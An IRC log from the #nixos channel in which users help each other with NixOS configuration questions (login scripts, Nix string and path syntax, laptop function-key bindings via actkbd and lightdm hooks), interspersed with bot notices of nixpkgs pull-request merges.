<logzet> This may be a dumb question: Is there an option to executo a script at user login within configuration.nix?
acarrico has quit [Ping timeout: 240 seconds]
Stekke_ has quit [Quit: Page closed]
<simpson> zybell: ghostyy is a language designer, not a language user, I think.
<daveo> ok it had to be a string so now I have http://nixpaste.lbr.uno/WPTD91aw?nix
<zybell> logzet:the /etc/profile works on NixOS too.
<{^_^}> [nixpkgs] @periklis opened pull request #40014 → skhd: 0.0.12 -> 0.0.14 → https://git.io/vpwhG
phdoerfler has quit [Ping timeout: 260 seconds]
endformationage has quit [Ping timeout: 256 seconds]
asuryawanshi has joined #nixos
<infinisil> codygman: Try executableHaskellDepends
<logzet> zybell: Is there a nix option for that?
<zybell> writeFile?
<{^_^}> [nixpkgs] @xeji merged pull request #39429 → libwebp: 0.6.1 -> 1.0.0 → https://git.io/vpZyZ
<{^_^}> [nixpkgs] @xeji pushed 2 commits to staging: https://git.io/vpwhC
<{^_^}> → bc261055 by R. RyanTM: libwebp: 0.6.1 -> 1.0.0
<{^_^}> → 3adeff0f by @xeji: Merge pull request #39429 from r-ryantm/auto-update/libwebp
<infinisil> logzet: You probably want to use a systemd service for this
<logzet> Hmm, seems like the clean solution nowadays
<infinisil> systemd.user.services
<logzet> Okay, I'll go and grab my systemd unit writing skills
<logzet> Ahh, everything seems to be an option, nice!
<infinisil> More or less :)
<infinisil> I'd look in nixpkgs for examples, just search for "systemd.user.services" and you'll find a bunch of uses
andreabe_ has joined #nixos
daveo has quit [Remote host closed the connection]
phdoerfler1 has quit [Quit: Leaving.]
<logzet> infinisil: Okay, thanks
andreabedini has quit [Ping timeout: 264 seconds]
<infinisil> Hmm.. Options like `systemd.hooks.userLogin = "xmessage Hithere";` would be nice
endformationage has joined #nixos
<codygman> infinisil: Thanks for the recommendation, but I think that's only for haskell executables because it errored with attribute chromeDriver not found
<infinisil> Ah well where does it come from?
<infinisil> There is no chromeDriver attribute in nixpkgs, of course it can't find it
<infinisil> Ah it's "chromedriver"
arianvp2 has joined #nixos
<arianvp2> is it possible to make nixos containers mutable?
shabius has quit [Ping timeout: 256 seconds]
<arianvp2> I want to update the nix store inside a container
<{^_^}> [nixpkgs] @matthewbauer merged pull request #40011 → Vscode backport → https://git.io/vpwbF
<{^_^}> [nixpkgs] @matthewbauer pushed 5 commits to release-18.03: https://git.io/vpwh1
<{^_^}> → 39d212d4 by @winniequinn: vscode: 1.21.1 -> 1.22.1
<{^_^}> → debe6649 by @smashedtoatoms: vscode: 1.22.1 -> 1.22.2
<{^_^}> → 92296a77 by @ambrop72: vscode-with-extensions: Move to vscode dir
<{^_^}> [nixpkgs] @xeji merged pull request #39527 → poppler_data: 0.4.8 -> 0.4.9 → https://git.io/vpCX7
<{^_^}> [nixpkgs] @xeji pushed 2 commits to staging: https://git.io/vpwhD
<{^_^}> → 95d1d753 by R. RyanTM: poppler_data: 0.4.8 -> 0.4.9
<{^_^}> → 5027c135 by @xeji: Merge pull request #39527 from r-ryantm/auto-update/poppler-data
<{^_^}> [nixpkgs] @xeji merged pull request #39742 → poppler: 0.63.0 -> 0.64.0 → https://git.io/vpRNv
<{^_^}> [nixpkgs] @xeji pushed 2 commits to staging: https://git.io/vpwhS
<{^_^}> → 3dfe97c6 by R. RyanTM: poppler_utils: 0.63.0 -> 0.64.0
<{^_^}> → 712e8f24 by @xeji: Merge pull request #39742 from r-ryantm/auto-update/poppler-utils
<{^_^}> [nixpkgs] @matthewbauer merged pull request #39925 → Zabbix-agent 3.4 → https://git.io/vp2OE
<{^_^}> [nixpkgs] @matthewbauer pushed 2 commits to master: https://git.io/vpwh9
<{^_^}> → 554e296c by @Assassinkin: Adding Zabbix agent 3.4 packages
<{^_^}> → ea1d75e4 by @matthewbauer: Merge pull request #39925 from Assassinkin/master
martingale has quit [Quit: Textual IRC Client: www.textualapp.com]
simukis has quit [Ping timeout: 248 seconds]
<{^_^}> [nixpkgs] @matthewbauer merged pull request #39739 → pqiv: 2.10.3 -> 2.10.4 → https://git.io/vpRFy
<{^_^}> [nixpkgs] @matthewbauer pushed 2 commits to master: https://git.io/vpwhd
<{^_^}> → 4e5cecab by R. RyanTM: pqiv: 2.10.3 -> 2.10.4
<{^_^}> → fd75da04 by @matthewbauer: Merge pull request #39739 from r-ryantm/auto-update/pqiv
<codygman> This gives me a little bit of a lead as to how I could add a native dependency to my haskell project: https://github.com/sboosali/validation-warning/blob/master/shell.nix#L421
<{^_^}> [nixpkgs] @matthewbauer merged pull request #39771 → graphicsmagick: 1.3.28 -> 1.3.29 → https://git.io/vp0CE
<{^_^}> [nixpkgs] @matthewbauer pushed 2 commits to master: https://git.io/vpwhF
<{^_^}> → 1e295cca by R. RyanTM: graphicsmagick: 1.3.28 -> 1.3.29
<{^_^}> → 3fe9421f by @matthewbauer: Merge pull request #39771 from r-ryantm/auto-update/graphicsmagick
<infinisil> matthewbauer++
<{^_^}> matthewbauer's karma got increased to 1
<drakonis> sweet barrage
<infinisil> Why does it even need to show single commits :/, PR's themselves should be fine
<{^_^}> [nixpkgs] @xeji merged pull request #39899 → altcoins.bitcoin-abc: 0.17.0 -> 0.17.1 → https://git.io/vpgnS
<{^_^}> [nixpkgs] @xeji pushed 2 commits to master: https://git.io/vpwjv
<{^_^}> → 89b1eaa9 by R. RyanTM: altcoins.bitcoin-abc: 0.17.0 -> 0.17.1
<{^_^}> → 0efd49c7 by @xeji: Merge pull request #39899 from r-ryantm/auto-update/bitcoin-abc
<rain1> hey
<rain1> graphicsmagick: 1.3.28 -> 1.3.29
<rain1> this means the package 'graphicsmagick" has been mutated right?
coot has joined #nixos
<rain1> would it be possible to have something like nix but the packages are immutable
<tilpner> So you could only ever use version 1.3.28?
<symphorien> Look for "pinning" in nixos.wiki
logzet has quit [Remote host closed the connection]
<ixxie> !pinning
<ixxie> oh yeah the bot is down
acarrico has joined #nixos
<tilpner> ,pinning rain1
<drakonis> rain1 is here hmmm
stephenjudkins has joined #nixos
<mpickering> How can I escape a newline character?
<mpickering> Is it ''\n?
<rain1> !ops
<rain1> someone is harassing me
<tilpner> ''\n'' works too
<mpickering> In a double quotes context
<mpickering> I will try this hm
<drakonis> wow rude
<drakonis> come back to lobsters
<drakonis> we love you
jacob_ has quit [Quit: Lost terminal]
stephenjudkins has quit [Ping timeout: 248 seconds]
<infinisil> ,escape'' mpickering
<{^_^}> mpickering: '' two single quotes: ''' bash curly bois: ''${} newline: ''\n tab: ''\t any character x: ''\x ''
uptime has joined #nixos
martingale has joined #nixos
<infinisil> tilpner: Are you sure?
<tilpner> No
<infinisil> (it does not work :))
<tilpner> Although writeText "foo" ''\n'' results in a file with literal \n
<mpickering> I'm sure many have not considered this question but I am testing hnix's pretty printer
<mpickering> which has forced me to
<tilpner> infinisil - Oh, he wanted to unescape a newline!
<tilpner> My answer was "you don't need to escape it, \n stays literals in ''
<tilpner> "
<infinisil> Haha I see
<infinisil> Was confused for a second there
<{^_^}> [nixpkgs] @matthewbauer merged pull request #39765 → kotlin: 1.2.40 -> 1.2.41 → https://git.io/vp0Z7
<{^_^}> [nixpkgs] @matthewbauer pushed 2 commits to master: https://git.io/vpref
<{^_^}> → 639dd191 by @matthewbauer: Merge pull request #39765 from r-ryantm/auto-update/kotlin
<{^_^}> → bf492001 by R. RyanTM: kotlin: 1.2.40 -> 1.2.41
<{^_^}> [nixpkgs] @matthewbauer merged pull request #39763 → jackett: 0.8.886 -> 0.8.929 → https://git.io/vp03Y
<{^_^}> [nixpkgs] @matthewbauer pushed 2 commits to master: https://git.io/vpreJ
<{^_^}> → 2034ef07 by R. RyanTM: jackett: 0.8.886 -> 0.8.929
<{^_^}> → a93ffd1a by @matthewbauer: Merge pull request #39763 from r-ryantm/auto-update/jackett
<{^_^}> [nixpkgs] @matthewbauer merged pull request #39755 → mopidy-iris: 3.17.1 -> 3.17.5 → https://git.io/vp0tI
<{^_^}> [nixpkgs] @matthewbauer pushed 2 commits to master: https://git.io/vpreT
<{^_^}> → 49e4a597 by R. RyanTM: mopidy-iris: 3.17.1 -> 3.17.5
<{^_^}> → 08c9a5df by @matthewbauer: Merge pull request #39755 from r-ryantm/auto-update/Mopidy-Iris
<{^_^}> [nixpkgs] @matthewbauer merged pull request #39895 → groonga: 8.0.1 -> 8.0.2 → https://git.io/vpgOy
<{^_^}> [nixpkgs] @matthewbauer pushed 2 commits to master: https://git.io/vpreL
<{^_^}> → 8b4d3ed1 by R. RyanTM: groonga: 8.0.1 -> 8.0.2
<{^_^}> → f14e4cac by @matthewbauer: Merge pull request #39895 from r-ryantm/auto-update/groonga
mduggie has quit [Ping timeout: 256 seconds]
mduggie has joined #nixos
wchresta_ has joined #nixos
ixxie has quit [Quit: Lost terminal]
mduggie has quit [Ping timeout: 264 seconds]
<{^_^}> [nixpkgs] @yegortimoshenko pushed to yegortimoshenko-patch-3 « nix-daemon: strip /nixpkgs from nixpkgs channel »: https://git.io/vprvf
mduggie has joined #nixos
<{^_^}> [nixpkgs] @yegortimoshenko opened pull request #40016 → nix-daemon: strip /nixpkgs from nixpkgs channel → https://git.io/vprvJ
<{^_^}> [nixpkgs] @matthewbauer merged pull request #39919 → ledger: enable python command → https://git.io/vp2fB
<{^_^}> [nixpkgs] @matthewbauer pushed 2 commits to master: https://git.io/vprvU
<{^_^}> → b62788f7 by @pmiddend: ledger: enable python command
<{^_^}> → 005d8037 by @matthewbauer: Merge pull request #39919 from plapadoo/ledger-use-python
<{^_^}> [nixpkgs] @matthewbauer merged pull request #39720 → x42-plugins: 20170428 -> 20180320 → https://git.io/vpRVp
<{^_^}> [nixpkgs] @matthewbauer pushed 2 commits to master: https://git.io/vprv3
<{^_^}> → 21be546c by @matthewbauer: Merge pull request #39720 from r-ryantm/auto-update/x42-plugins
<{^_^}> → 3520fef7 by R. RyanTM: x42-plugins: 20170428 -> 20180320
shabius has joined #nixos
<mpickering> Is "./" a valid path?
<hydraz> no, but ./. is
wchresta_ has quit [Ping timeout: 248 seconds]
<{^_^}> [nixpkgs] @yegortimoshenko closed pull request #39682 → nixpkgs: setup self-referential symlink → https://git.io/vpB4N
ambro718 has quit [Quit: Konversation terminated!]
<{^_^}> [nixpkgs] @aszlig pushed 6 commits to master: https://git.io/vprv7
<{^_^}> → 5370b826 by @aszlig: kdewebkit: Add package expression
<{^_^}> → 6134887b by @aszlig: mpir: Build with C++ support
asuryawanshi has quit [Remote host closed the connection]
<{^_^}> → d2b8d8bd by @aszlig: alkimia: init at 7.0.1
<Ben_______> Hey, is there any guidance on how to get Laptop function buttons like screen brightness & volume to work (specifically on Lenovo T440)?
ambro718 has joined #nixos
hiratara has quit [Ping timeout: 276 seconds]
<{^_^}> [nixpkgs] @aszlig merged pull request #39647 → KDE: Add KMyMoney → https://git.io/vp4lS
Mateon3 has joined #nixos
<Ben_______> Can I do this via services.xserver.xkbVariant? And if so, where can I find the proper entry to use?
Mateon1 has quit [Ping timeout: 260 seconds]
Mateon3 is now known as Mateon1
hiratara has joined #nixos
<{^_^}> [nixpkgs] @jtojnar merged pull request #39985 → various: {upgrade,drop} GStreamer 0.10 dependency → https://git.io/vpV5v
<{^_^}> [nixpkgs] @jtojnar pushed 7 commits to master: https://git.io/vprvN
<{^_^}> → 3837ddde by @jtojnar: firefox: remove GStreamer
<{^_^}> → db78fe50 by @jtojnar: opencv: use GStreamer 1.0
<{^_^}> → 1c33dff4 by @jtojnar: libcanberra: fix GStreamer support
aarvar has joined #nixos
<jtojnar> Ben_______: depends on how the buttons register
<jtojnar> do you see them with xev?
<jtojnar> (from xorg.xev package)
kreetx has quit [Ping timeout: 240 seconds]
MP2E has joined #nixos
<Ben_______> I don't have that installed, and nix-shell -p xev didn't give it to me either. How can I get it?
<jtojnar> nix-shell -p xorg.xev --run xev
<Ben_______> thx
xcmw has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
troydm has quit [Quit: What is Hope? That all of your wishes and all of your dreams come true? To turn back time because things were not supposed to happen like that (C) Rau Le Creuset]
<Ben_______> Okay, they're registering with their own keycodes in xev.
xcmw has joined #nixos
<jtojnar> hmm, we have services.illum.enable, maybe try that
<{^_^}> [nixpkgs] @xeji merged pull request #40012 → eid-mw: 4.1.19 -> 4.4.1 → https://git.io/vpwNR
<{^_^}> → 558c8a28 by @bfortz: eid-mw: 4.1.19 -> 4.3.7
<{^_^}> [nixpkgs] @xeji pushed 4 commits to master: https://git.io/vprfG
<{^_^}> → 0c4f72c3 by @bfortz: eid-mw: 4.1.19 -> 4.4.1
<{^_^}> → d84a06fe by @bfortz: eid-mw: 4.1.19 -> 4.4.1
rain1 has quit [Remote host closed the connection]
logzet has joined #nixos
<Ben_______> Well, more than anything else I'm trying to figure out how it's supposed to work & where to find the information neccessary to making it work.
<infinisil> Ben_______: What I've done is just handle that with my display-manager
<infinisil> xbindkeys is a standalone daemon you can run to respond to key events
<infinisil> Oh interesting, I just found the option `services.actkbd.bindings`, which let's you specify bindings directly in your nixos config
<{^_^}> [nixpkgs] @xeji merged pull request #38622 → nixos/minidlna: add loglevel config → https://git.io/vx7Ub
<{^_^}> [nixpkgs] @xeji pushed 2 commits to master: https://git.io/vprfE
<{^_^}> → f3657a05 by @obadz: minidlna nixos module: add loglevel config
<{^_^}> → cd960b96 by @xeji: Merge pull request #38622 from obadz/minidlna-module
<Ben_______> ah, services.actkbd.bindings looks good!
<Ben_______> Ok, now I can find keycodes with xev & that goes to the keys prop in services.actkbd.bindings. But what about the events prop, and how do I find the commands to use for the various functions?
freeman42x[nix] has quit [Ping timeout: 256 seconds]
<infinisil> events prop?
logzet has quit [Remote host closed the connection]
<infinisil> You can control the backlight with xbacklight
<Ben_______> has and example line:
<Ben_______> [ { keys = [ 113 ]; events = [ "key" ]; command = "${pkgs.alsaUtils}/bin/amixer -q set Master toggle"; } ]
<infinisil> Hmm no idea, but it seems that you want "key" for the keyboard :P1
<Ben_______> Right ;)
<mpickering> Can an attribute contain a path? Something like { ./path = ... } or { ./path."abc" = q }
<infinisil> And for volume, assuming you use pulseaudio, you can use `pactl set-sink-volume <something>` (look up the exact syntax in the man page)
<infinisil> mpickering: A path is just a string, so probably
<mpickering> So, ./path and "./path" mean the same thing?
<infinisil> Almost, a ./path in a "${./path}" will import ./path into /nix/store and use that path instead
<infinisil> you can use "${toString ./path}" to prevent that
<mpickering> These aren't practical questions sorry
<mpickering> But theoretical
<samueldr> are you hacking on a parser?
<samueldr> (I am right now)
<samueldr> and had to check some of those things yesterday
<mpickering> hnix in particular
<mpickering> I am testing the pretty printer
<mpickering> but some of the test cases which are generated are strange like this
<mpickering> { ./path = 5 }../path doesn't look like it will work at all
<infinisil> Last time i checked out hnix i found a semantic difference to nix, I think it was that ++ was concatenating strings instead of lists
<samueldr> I've been using nix repl and reading the nix lexer and parser to answer those
<mpickering> How long ago was that?
ambro718 has quit [Quit: Konversation terminated!]
<samueldr> nix-repl> { ./path = 5 }
<samueldr> error: syntax error, unexpected PATH, at (string):1:3
<samueldr> so no, shouldn't work
<infinisil> Ohh
<infinisil> It would need special escaping, but even that doesn't work:
<infinisil> { ${./foo} = 10; } => error: value is a path while a string was expected
<infinisil> wait
<infinisil> Yeah
<samueldr> that's normal
<mpickering> Next example, { q = ./path."a"; }
<infinisil> Yeah nope again, it would need escaping
<mpickering> ok, so the correct way to escape the path is "${./path}"?
<infinisil> and ./path is almost a string, not an attribute
<infinisil> Hmm
<infinisil> Even (x = { "/home/infinisil/path" = 10; }).${./path} doesn't work
<samueldr> I'm wondering if I was wrong in remembering, but can nix be parsed with a PEG which would be left-recursive?
<infinisil> Even { "/home/infinisil/path" = 10; }.${./path} doesn't work
hiratara has quit [Quit: ZNC - http://znc.in]
<samueldr> I don't know whether I'm doomed with my issue or dumb :/
<{^_^}> Channel nixos-18.03 advanced to https://github.com/NixOS/nixpkgs/commit/40a97926b7b (from 24 hours ago, history: https://channels.nix.gsc.io/nixos-18.03)
<{^_^}> Channel nixos-18.03-small advanced to https://github.com/NixOS/nixpkgs/commit/1540594b277 (from 3 hours ago, history: https://channels.nix.gsc.io/nixos-18.03-small)
<infinisil> mpickering: I think all of those examples should work with ${toString ./path}
<infinisil> Or "${./path}", which has different semantics though (importing into the store)
<samueldr> (it's my second time working with a PEG and the first time I didn't finish the project)
hiratara has joined #nixos
<infinisil> { "/home/infinisil/path" = 10; }.${toString ./path} => 10
<zybell> infinisil:...}.${toString ./path}?
<zybell> same thought
Synthetica has quit [Quit: Connection closed for inactivity]
<{^_^}> [nixpkgs] @xeji closed pull request #29799 → binutils: 2.28.1 -> 2.29.1 → https://git.io/vdLW9
civodul has quit [Quit: ERC (IRC client for Emacs 25.3.1)]
acarrico has quit [Ping timeout: 256 seconds]
acarrico has joined #nixos
<lejonet> Isn't nixops supposed to follow the nix.maxBuilds set in the nixos configuration?
<lejonet> erh nix.maxJobs*
<lejonet> Its just using 1 core for me, and I've got nix.maxJobs = lib.mkDefault 16;
asuryawanshi has joined #nixos
<lejonet> do I need to set nix.buildCores too?
codygman has quit [Ping timeout: 260 seconds]
goibhniu has joined #nixos
<lejonet> yep, that seems to have done the trick :)
<Ben_______> I've gotten xbacklight to work, I can set screen brightness from the console, but binding that to the function key with services.actkbd.bindings didn't work.
<Ben_______> The setting in configuration.nix is:
<{^_^}> Channel nixos-18.03 advanced to https://github.com/NixOS/nixpkgs/commit/0a73111bc29 (from 15 hours ago, history: https://channels.nix.gsc.io/nixos-18.03)
<Ben_______> services.actkbd.bindigs = with pkgs; [ {keys=[232];events=["key"];command="xbacklight -dec 50"}];
ertes has quit [Ping timeout: 240 seconds]
<Ben_______> I'm not sure where the problem is, possibly the key code to use here doesn't match up with what xev tells me, or i'm not putting the right command.
olto has quit [Ping timeout: 260 seconds]
acarrico has quit [Ping timeout: 240 seconds]
nallar has joined #nixos
knupfer has quit [Remote host closed the connection]
Ross has quit [Ping timeout: 264 seconds]
nallar is now known as Ross
<{^_^}> [nixpkgs] @danbst opened pull request #40018 → zoom-us: update 2.0.106600.0904 -> 2.0.123200.0405, cleanup → https://git.io/vprUs
<{^_^}> Channel nixos-18.03-small advanced to https://github.com/NixOS/nixpkgs/commit/5f16ba8fb0f (from 2 hours ago, history: https://channels.nix.gsc.io/nixos-18.03-small)
<Ben_______> Oh! Looks like there's services.actkbd.enable also, and it wants to be set to true ;)
<zybell> Your not putting in the right command:`env DISPLAY=:0 XAUTHORITY=... xbacklight`...
averell has quit [Quit: .]
<Ben_______> Ah, thanks for the hint!
<Ben_______> How do i know what to set XAUTHORITY to?
<Ben_______> And how would I know how to construct that in the first place?
<{^_^}> Channel nixpkgs-18.03-darwin advanced to https://github.com/NixOS/nixpkgs/commit/5f16ba8fb0f (from 2 hours ago, history: https://channels.nix.gsc.io/nixpkgs-18.03-darwin)
<zybell> depends whether a user is logged in
<zybell> its a hack
<zybell> a clean solution would run a hook
<colemickens> garbas: do you know what has changed with pip 10 packaging? It doesn't really work with a simple update of urls/hashes. The tarball layout is different, and not in a straightforward way (Though I'm not a python person).
xy2_ has quit [Ping timeout: 240 seconds]
<zybell> which the displaymanager sets in login hook
<colemickens> I'd be curious if you have any tips. It appears 'azure-cli' needs to be installed with pip-10 due to recent changes.
<zybell> and tears down on logout
Fare has joined #nixos
<zybell> correctly:tear down = setting to itself
<{^_^}> Channel nixos-unstable-small advanced to https://github.com/NixOS/nixpkgs/commit/dc4aa99080a (from 4 hours ago, history: https://channels.nix.gsc.io/nixos-unstable-small)
<Ben_______> I'm all for clean solutions! Where can i read up on that kind of hooks, and can that be set in configuration.nix?
thc202 has joined #nixos
<zybell> man <displaymanager>
<zybell> ofc it can be set in nix,but I assume that *you* are the one who has to write the module
<zybell> based on the info you will read
<zybell> in man.
andreabe_ has quit [Ping timeout: 240 seconds]
<Ben_______> right, it's lightdm, but it doesn't appear to have a man page i can view
hiroshi has quit [Ping timeout: 268 seconds]
<Ben_______> And on top of that, it being controlled by the xserver, that probably means that it won't work for the text tty's?
<zybell> right. I dont know atm what *could* work for text
acarrico has joined #nixos
<zybell> there could be a /sys file
<Ben_______> I have to admit, I'm a little out of my depth here ;)
<zybell> there is a file /etc/lightdm/lightdm.conf
<zybell> I'm not very optimistic
<zybell> that there is something in that direction already there
* zybell googles a little
acarrico has quit [Ping timeout: 240 seconds]
wchresta_ has joined #nixos
silver has quit [Read error: Connection reset by peer]
xcmw has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
Rusty1_ has quit [Quit: Konversation terminated!]
wchresta_ has quit [Ping timeout: 240 seconds]
<zybell> Please note the section headed:Run a Command When X Starts, When The Greeter Starts, When the User Session Starts
coot has quit [Quit: coot]
<Ben_______> So, the hook would be adding a script or command to display-setup-script=[script|command] ?
semilattice has joined #nixos
<Ben_______> Right
<zybell> you need two
<zybell> The other two:greeter (=logout) and session (=login)
<Ben_______> One for registering the command to the key when the user logs in, and one to unregister it?
<zybell> and register it to lightdm. there it should work too.
<zybell> *and*!
<Ben_______> So how does the lightdm.conf tie to configuration.nix?
Rusty1_ has joined #nixos
<Ben_______> Looking at https://nixos.org/nixos/options.html#services.xserver.displaymanager.lightdm there are a bunch of settings available, but how to map between what can be done in the lightdm.conf versus configuration.nix?
<zybell> you must check which module writes the .conf and extend it,possibly with seat modules.
<Ben_______> Ah, perusing https://github.com/NixOS/nixpkgs/blob/master/nixos/modules/services/x11/display-managers/lightdm.nix it appears like that's what mkOption is for?
* zybell looks
joelpet has quit [Remote host closed the connection]
joelpet has joined #nixos